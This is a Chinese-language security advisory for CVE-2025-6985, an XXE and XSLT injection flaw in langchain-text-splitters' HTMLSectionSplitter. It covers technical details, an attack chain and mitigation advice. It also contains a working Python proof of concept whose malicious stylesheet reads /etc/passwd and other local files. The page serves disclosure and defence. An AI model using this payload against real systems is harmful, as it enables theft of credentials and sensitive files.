IPBUF安全漏洞报告
English
CVE-2025-6985 CVSS 7.5 高危

CVE-2025-6985 langchain-text-splitters XML外部实体注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-6985
漏洞类型
XML外部实体注入(XXE)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
langchain-text-splitters

相关标签

XXEXML外部实体注入XSLT注入langchainlangchain-text-splitterslxml文件读取信息泄露SSRFAI安全

漏洞概述

CVE-2025-6985是langchain-text-splitters库(版本0.3.8)中HTMLSectionSplitter类存在的一个高危XML外部实体(XXE)注入漏洞。该漏洞源于HTMLSectionSplitter类允许使用任意XSLT样式表,且在解析过程中使用了lxml库的lxml.etree.parse()和lxml.etree.XSLT()函数,但未采取任何安全加固措施。在lxml 4.9.x及以下版本中,外部实体默认会被解析,攻击者可以利用这一特性读取本地任意文件或发起外部HTTP(S)请求。即使在lxml 5.0及以上版本中,虽然默认禁用了实体扩展,但XSLT的document()函数仍然可以读取任何URI,除非应用了XSLTAccessControl限制。该漏洞允许远程攻击者以只读方式访问LangChain进程可访问的任何文件,包括SSH密钥、环境变量文件、源代码或云元数据等敏感信息。攻击无需任何身份认证、特权或用户交互,在启用了自定义XSLT的默认部署环境中即可被利用。该漏洞由[email protected]发现并报告,CVSS评分为7.5,属于高危级别,对数据机密性构成严重威胁。

技术细节

该漏洞的核心问题在于HTMLSectionSplitter类对XSLT样式表的处理缺乏安全防护。具体技术原理如下:

1. **不安全解析调用**:HTMLSectionSplitter类在处理XSLT样式表时,直接调用了lxml.etree.parse()和lxml.etree.XSLT()函数,没有设置resolve_entities=False等安全参数,也没有使用defusedxml等安全XML解析库。

2. **lxml 4.9.x及以下版本**:默认情况下,lxml会解析XML中的外部实体引用。攻击者可以构造恶意的XSLT样式表,其中包含指向本地文件(如file:///etc/passwd)或远程URL的外部实体定义。当该样式表被解析时,外部实体的内容会被读取并嵌入到解析结果中。

3. **lxml 5.0及以上版本**:虽然默认禁用了实体扩展,但XSLT规范中的document()函数可以用于读取任何URI,包括本地文件路径和远程HTTP资源。如果没有通过XSLTAccessControl进行访问控制限制,攻击者仍然可以利用document()函数读取任意文件。

4. **利用方式**:攻击者通过提供包含恶意XSLT指令的输入(如包含file://协议引用的document()调用),即可触发文件读取。返回的内容会包含在LangChain的处理结果中,从而泄露敏感信息。

5. **影响范围**:由于LangChain常用于构建RAG(检索增强生成)应用,该漏洞可能导致AI应用的知识库泄露、配置文件暴露、云凭证窃取等严重后果。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统使用了langchain-text-splitters库的HTMLSectionSplitter类,且配置了自定义XSLT样式表处理功能。
STEP 2
步骤2:构造恶意XSLT
攻击者构造包含恶意指令的XSLT样式表,利用XML外部实体(XXE)或XSLT的document()函数,指定要读取的本地文件路径(如file:///etc/passwd、~/.ssh/id_rsa)或远程URL。
STEP 3
步骤3:投递恶意输入
攻击者通过API端点、表单提交或其他输入渠道,将包含恶意XSLT样式表的数据发送到使用HTMLSectionSplitter的应用中。
STEP 4
步骤4:触发XXE解析
HTMLSectionSplitter调用不安全的lxml.etree.parse()和lxml.etree.XSLT()解析恶意XSLT,触发外部实体解析或document()函数执行,读取目标文件内容。
STEP 5
步骤5:数据泄露
读取的敏感文件内容(如SSH密钥、配置文件、云元数据凭证)被嵌入到处理结果中返回给攻击者,或被用于后续攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-6985 PoC - XXE via XSLT in langchain-text-splitters # Vulnerability: HTMLSectionSplitter allows arbitrary XSLT parsing without hardening from langchain_text_splitters import HTMLSectionSplitter # Malicious XSLT stylesheet with external entity injection # This XSLT uses document() function to read local files malicious_xslt = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xsl:stylesheet [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <output> <file_content>&xxe;</file_content> <!-- Alternative: use document() to read arbitrary files --> <secret_content> <xsl:copy-of select="document('file:///etc/shells')"/> </secret_content> </output> </xsl:template> </xsl:stylesheet>""" # HTML content to be processed html_content = """ <html> <head><title>Test</title></head> <body> <h1>Section Header</h1> <p>This is test content for the splitter.</p> </body> </html> """ # Trigger the vulnerability by providing malicious XSLT splitter = HTMLSectionSplitter( headers_to_split_on=[("h1", "Header 1")], xslt_stylesheet=malicious_xslt # Vulnerable: no sanitization applied ) # Process HTML - this will trigger XXE and read /etc/passwd chunks = splitter.split_text(html_content) for chunk in chunks: print(chunk.page_content) # The output will contain the contents of /etc/passwd

影响范围

langchain-text-splitters == 0.3.8
lxml <= 4.9.x(默认实体解析)
lxml >= 5.0.0(未配置XSLTAccessControl)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁用HTMLSectionSplitter的自定义XSLT功能,仅使用内置的安全样式表;2)将lxml降级或升级到安全版本,并配置XSLTAccessControl.DENY_ALL阻止document()等危险函数;3)使用defusedxml库包装XML解析调用,禁用所有外部实体解析;4)在网络层面限制LangChain应用服务器的出站连接,阻止SSRF攻击;5)对所有用户输入的XSLT样式表进行白名单验证,拒绝包含file://、http://等危险协议的输入;6)部署运行时应用自我保护(RASP)方案,监控异常的lxml.etree调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表